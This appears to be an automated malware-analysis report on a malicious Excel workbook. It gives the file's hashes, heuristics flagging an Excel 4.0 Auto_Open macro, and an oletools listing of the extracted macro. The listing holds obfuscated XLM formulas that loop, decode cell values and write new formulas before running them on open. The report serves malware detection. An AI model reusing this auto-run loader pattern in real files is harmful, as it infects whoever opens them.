Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6fa6f03ee96a5cfb…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:53 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: b1d58af1c1922680f9bc5ee5798cc1d0 SHA-1: ab55e4e1cd79128abfbf0c1600d216a95ce8e07c SHA-256: 6fa6f03ee96a5cfb785312d41a6fbb5fde95d73fd57e984d8c4686787f583cb6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6473 bytes
SHA-256: a145694f5b95e45505817327f79fc9178d7eadc14d16254a24a84132f941972a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZLDRrFE
' 0018     24 LABEL : Cell Value, String Constant - aKlRdfUbW len=0 
' 0018     22 LABEL : Cell Value, String Constant - aOwaXqA len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H146 
' 0018     27 LABEL : Cell Value, String Constant - cyqHdwjpdBaQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - ddLix len=0 
' 0018     23 LABEL : Cell Value, String Constant - ELNJKCVC len=0 
' 0018     20 LABEL : Cell Value, String Constant - ffCyE len=0 
' 0018     20 LABEL : Cell Value, String Constant - klEMw len=0 
' 0018     25 LABEL : Cell Value, String Constant - nKzCDpOAuC len=0 
' 0018     27 LABEL : Cell Value, String Constant - PtLfIbtubcGY len=0 
' 0018     21 LABEL : Cell Value, String Constant - RgwMfV len=0 
' 0018     22 LABEL : Cell Value, String Constant - UEstqlL len=0 
' 0018     26 LABEL : Cell Value, String Constant - uRfUwEuoPka len=0 
' 0018     20 LABEL : Cell Value, String Constant - wgJQY len=0 
' 0018     24 LABEL : Cell Value, String Constant - xejTApoBe len=0 
' 0018     26 LABEL : Cell Value, String Constant - xeqKSHHSkxt len=0 
' 0018     23 LABEL : Cell Value, String Constant - xYXrVCHQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - YNgyUXfOqFnt len=0 
' 0018     24 LABEL : Cell Value, String Constant - ytxmmCnFu len=0 
' 0018     21 LABEL : Cell Value, String Constant - zBmUrd len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZyHMe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZLDRrFE,H57,"SET.NAME("ffCyE",VALUE("0"))",""
'  ZLDRrFE,H62,"SET.NAME("uRfUwEuoPka",ffCyE)",""
'  ZLDRrFE,H65,"SET.NAME("UEstqlL",ffCyE)",""
'  ZLDRrFE,H70,"SET.NAME("xYXrVCHQ",COUNTA(cyqHdwjpdBaQ))",""
'  ZLDRrFE,H75,"SET.NAME("wgJQY",COUNTA(ZyHMe))",""
'  ZLDRrFE,H80,[],""
'  ZLDRrFE,H83,"SET.NAME("zBmUrd","")",""
'  ZLDRrFE,H85,"uRfUwEuoPka",""
'  ZLDRrFE,H90,"SET.NAME("aOwaXqA",HLOOKUP("*",cyqHdwjpdBaQ,uRfUwEuoPka,FALSE))",""
'  ZLDRrFE,H93,"PtLfIbtubcGY",""
'  ZLDRrFE,H95,"SET.NAME("ELNJKCVC",ffCyE)",""
'  ZLDRrFE,H97,[],""
'  ZLDRrFE,H100,"ELNJKCVC",""
'  ZLDRrFE,H103,"xeqKSHHSkxt",""
'  ZLDRrFE,H107,"xejTApoBe",""
'  ZLDRrFE,H109,"ytxmmCnFu",""
'  ZLDRrFE,H114,"SET.NAME("YNgyUXfOqFnt",VALUE(HLOOKUP("*",ZyHMe,ytxmmCnFu,FALSE)))",""
'  ZLDRrFE,H116,"aKlRdfUbW",""
'  ZLDRrFE,H119,"zBmUrd",""
'  ZLDRrFE,H121,"UEstqlL",""
'  ZLDRrFE,H123,NEXT(),""
'  ZLDRrFE,H128,"RgwMfV",""
'  ZLDRrFE,H131,"SET.NAME("f",INT(T(FORMULA(T(zBmUrd)&"",""&T(RgwMfV)))))",""
'  ZLDRrFE,H134,"klEMw",""
'  ZLDRrFE,H137,NEXT(),""
'  ZLDRrFE,H142,RETURN(),""
'  ZLDRrFE,H167,"SET.NAME("nKzCDpOAuC",H57)",""
'  ZLDRrFE,H170,"cyqHdwjpdBaQ",""
'  ZLDRrFE,H173,"SET.NAME("ZyHMe",R53C15)",""
'  ZLDRrFE,H176,"SET.NAME("klEMw",182)",""
'  ZLDRrFE,H179,"SET.NAME("ddLix",8)",""
'  ZLDRrFE,H181,nKzCDpOAuC(),""
'  ZLDRrFE,H182,HALT(),""